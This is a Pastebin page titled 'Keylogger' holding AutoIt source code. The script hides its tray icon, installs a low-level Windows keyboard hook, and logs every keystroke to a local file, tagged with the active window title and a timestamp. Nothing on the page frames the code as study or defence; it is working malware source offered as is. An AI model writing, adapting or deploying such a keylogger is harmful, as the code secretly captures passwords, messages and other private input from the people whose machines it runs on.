klstudio

Keylogger

Oct 28th, 2017
1,029
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.13 KB | None | 0 0
  1. #include <WinAPI.au3>
  2. #include <WindowsConstants.au3>
  3. #NoTrayIcon
  4.  
  5. Opt('MustDeclareVars', 1)
  6.  
  7. Global $hHook, $hStub_KeyProc, $buf = "", $title = "", $title_1 = "", $keycode, $buffer = "", $nMsg
  8. Global $file, $f3 = 0
  9. $file = FileOpen("log.txt", 9)
  10.  
  11. While 1
  12. _Main()
  13. Sleep(250)
  14. WEnd
  15.  
  16. Func _Main()
  17. Local $hmod
  18. $f3 = 1
  19. $hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
  20. $hmod = _WinAPI_GetModuleHandle(0)
  21. $hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)
  22. While 1
  23. Sleep(10)
  24. WEnd
  25. EndFunc
  26.  
  27. Func EvaluateKey($keycode)
  28. $title = WinGetTitle("")
  29. $buffer = key($keycode)
  30. If $title_1 <> $title Then
  31. $title_1 = $title
  32. FileWrite($file, @CRLF & @CRLF & "====Title:" & $title_1 & "====Time:" & @YEAR & "." & @MON & "." & @MDAY & "--" & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF)
  33. FileWrite($file, $buffer)
  34. Else
  35. FileWrite($file, $buffer)
  36. EndIf
  37. EndFunc
  38.  
  39. Func key($keycode2)
  40. If $keycode2 = 8 Then
  41. $buf = "{backspace}"
  42. EndIf
  43. If $keycode2 = 9 Then
  44. $buf = "{TAB}"
  45. EndIf
  46. If $keycode2 = 13 Then
  47. $buf = "{ENTER}"
  48. EndIf
  49. If $keycode2 = 19 Then
  50. $buf = "{PAUSE}"
  51. EndIf
  52. If $keycode2 = 20 Then
  53. $buf = "{CAPSLOCK }"
  54. EndIf
  55. If $keycode2 = 27 Then
  56. $buf = "{ESC}"
  57. EndIf
  58. If $keycode2 = 32 Then
  59. $buf = "{SPACE}"
  60. EndIf
  61. If $keycode2 = 33 Then
  62. $buf = "{PAGEUP}"
  63. EndIf
  64. If $keycode2 = 34 Then
  65. $buf = "{PAGEDOWN}"
  66. EndIf
  67. If $keycode2 = 35 Then
  68. $buf = "{END}"
  69. EndIf
  70. If $keycode2 = 36 Then
  71. $buf = "{HOME}"
  72. EndIf
  73. If $keycode2 = 37 Then
  74. $buf = "{¡û}"
  75. EndIf
  76. If $keycode2 = 38 Then
  77. $buf = "{¡ü}"
  78. EndIf
  79. If $keycode2 = 39 Then
  80. $buf = "{¡ú}"
  81. EndIf
  82. If $keycode2 = 40 Then
  83. $buf = "{¡ý}"
  84. EndIf
  85. If $keycode2 = 42 Then
  86. $buf = "{PRINT}"
  87. EndIf
  88. If $keycode2 = 44 Then
  89. $buf = "{PRINT SCREEN}"
  90. EndIf
  91. If $keycode2 = 45 Then
  92. $buf = "{INS}"
  93. EndIf
  94. If $keycode2 = 46 Then
  95. $buf = "{DEL}"
  96. EndIf
  97. If $keycode2 = 48 Or $keycode2 = 96 Then
  98. $buf = 0
  99. EndIf
  100. If $keycode2 = 49 Or $keycode2 = 97 Then
  101. $buf = 1
  102. EndIf
  103. If $keycode2 = 50 Or $keycode2 = 98 Then
  104. $buf = 2
  105. EndIf
  106. If $keycode2 = 51 Or $keycode2 = 99 Then
  107. $buf = 3
  108. EndIf
  109. If $keycode2 = 52 Or $keycode2 = 100 Then
  110. $buf = 4
  111. EndIf
  112. If $keycode2 = 53 Or $keycode2 = 101 Then
  113. $buf = 5
  114. EndIf
  115. If $keycode2 = 54 Or $keycode2 = 102 Then
  116. $buf = 6
  117. EndIf
  118. If $keycode2 = 55 Or $keycode2 = 103 Then
  119. $buf = 7
  120. EndIf
  121. If $keycode2 = 56 Or $keycode2 = 104 Then
  122. $buf = 8
  123. EndIf
  124. If $keycode2 = 57 Or $keycode2 = 105 Then
  125. $buf = 9
  126. EndIf
  127. If $keycode2 = 65 Then
  128. $buf = "a"
  129. EndIf
  130. If $keycode2 = 66 Then
  131. $buf = "b"
  132. EndIf
  133. If $keycode2 = 67 Then
  134. $buf = "c"
  135. EndIf
  136. If $keycode2 = 68 Then
  137. $buf = "d"
  138. EndIf
  139. If $keycode2 = 69 Then
  140. $buf = "e"
  141. EndIf
  142. If $keycode2 = 70 Then
  143. $buf = "f"
  144. EndIf
  145. If $keycode2 = 71 Then
  146. $buf = "g"
  147. EndIf
  148. If $keycode2 = 72 Then
  149. $buf = "h"
  150. EndIf
  151. If $keycode2 = 73 Then
  152. $buf = "i"
  153. EndIf
  154. If $keycode2 = 74 Then
  155. $buf = "j"
  156. EndIf
  157. If $keycode2 = 75 Then
  158. $buf = "k"
  159. EndIf
  160. If $keycode2 = 76 Then
  161. $buf = "l"
  162. EndIf
  163. If $keycode2 = 77 Then
  164. $buf = "m"
  165. EndIf
  166. If $keycode2 = 78 Then
  167. $buf = "n"
  168. EndIf
  169. If $keycode2 = 79 Then
  170. $buf = "o"
  171. EndIf
  172. If $keycode2 = 80 Then
  173. $buf = "p"
  174. EndIf
  175. If $keycode2 = 81 Then
  176. $buf = "q"
  177. EndIf
  178. If $keycode2 = 82 Then
  179. $buf = "r"
  180. EndIf
  181. If $keycode2 = 83 Then
  182. $buf = "s"
  183. EndIf
  184. If $keycode2 = 84 Then
  185. $buf = "t"
  186. EndIf
  187. If $keycode2 = 85 Then
  188. $buf = "u"
  189. EndIf
  190. If $keycode2 = 86 Then
  191. $buf = "v"
  192. EndIf
  193. If $keycode2 = 87 Then
  194. $buf = "w"
  195. EndIf
  196. If $keycode2 = 88 Then
  197. $buf = "x"
  198. EndIf
  199. If $keycode2 = 89 Then
  200. $buf = "y"
  201. EndIf
  202. If $keycode2 = 90 Then
  203. $buf = "z"
  204. EndIf
  205. If $keycode2 = 91 Or $keycode2 = 92 Then
  206. $buf = "{Windows}"
  207. EndIf
  208. If $keycode2 = 106 Then
  209. $buf = "*"
  210. EndIf
  211. If $keycode2 = 107 Then
  212. $buf = "+"
  213. EndIf
  214. If $keycode2 = 109 Or $keycode2 = 189 Then
  215. $buf = "-"
  216. EndIf
  217. If $keycode2 = 110 Or $keycode2 = 190 Then
  218. $buf = "."
  219. EndIf
  220. If $keycode2 = 111 Or $keycode2 = 191 Then
  221. $buf = "/"
  222. EndIf
  223. If $keycode2 = 112 Then
  224. $buf = "{F1}"
  225. EndIf
  226. If $keycode2 = 113 Then
  227. $buf = "{F2}"
  228. EndIf
  229. If $keycode2 = 114 Then
  230. $buf = "{F3}"
  231. EndIf
  232. If $keycode2 = 115 Then
  233. $buf = "{F4}"
  234. EndIf
  235. If $keycode2 = 116 Then
  236. $buf = "{F5}"
  237. EndIf
  238. If $keycode2 = 117 Then
  239. $buf = "{F6}"
  240. EndIf
  241. If $keycode2 = 118 Then
  242. $buf = "{F7}"
  243. EndIf
  244. If $keycode2 = 119 Then
  245. $buf = "{F8}"
  246. EndIf
  247. If $keycode2 = 120 Then
  248. $buf = "{F9}"
  249. EndIf
  250. If $keycode2 = 121 Then
  251. $buf = "{F10}"
  252. EndIf
  253. If $keycode2 = 122 Then
  254. $buf = "{F11}"
  255. EndIf
  256. If $keycode2 = 123 Then
  257. $buf = "{F12}"
  258. EndIf
  259. If $keycode2 = 124 Then
  260. $buf = "{F13}"
  261. EndIf
  262. If $keycode2 = 125 Then
  263. $buf = "{F14}"
  264. EndIf
  265. If $keycode2 = 126 Then
  266. $buf = "{F15}"
  267. EndIf
  268. If $keycode2 = 127 Then
  269. $buf = "{F16}"
  270. EndIf
  271. If $keycode2 = 144 Then
  272. $buf = "{NUMLOCK}"
  273. EndIf
  274. If $keycode2 = 145 Then
  275. $buf = "{SCROLLLOCK}"
  276. EndIf
  277. If $keycode2 = 160 Or $keycode2 = 161 Then
  278. $buf = "{Shift}"
  279. EndIf
  280. If $keycode2 = 162 Or $keycode2 = 163 Then
  281. $buf = "{Ctrl}"
  282. EndIf
  283. If $keycode2 = 164 Then
  284. $buf = "{Alt}"
  285. EndIf
  286. If $keycode2 = 186 Then
  287. $buf = ";"
  288. EndIf
  289. If $keycode2 = 187 Then
  290. $buf = "="
  291. EndIf
  292. If $keycode2 = 188 Then
  293. $buf = ","
  294. EndIf
  295. If $keycode2 = 192 Then
  296. $buf = "`"
  297. EndIf
  298. If $keycode2 = 219 Then
  299. $buf = "["
  300. EndIf
  301. If $keycode2 = 220 Then
  302. $buf = ""
  303. EndIf
  304. If $keycode2 = 221 Then
  305. $buf = "]"
  306. EndIf
  307. Return $buf
  308. EndFunc
  309.  
  310. Func _KeyProc($nCode, $wParam, $lParam)
  311. Local $tKEYHOOKS
  312. $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
  313. If $nCode < 0 Then
  314. Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
  315. EndIf
  316. If $wParam = $WM_KEYDOWN Then
  317. EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
  318. Else
  319. Local $flags = DllStructGetData($tKEYHOOKS, "flags")
  320. Switch $flags
  321. Case $LLKHF_ALTDOWN
  322. EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
  323. EndSwitch
  324. EndIf
  325. Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
  326. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment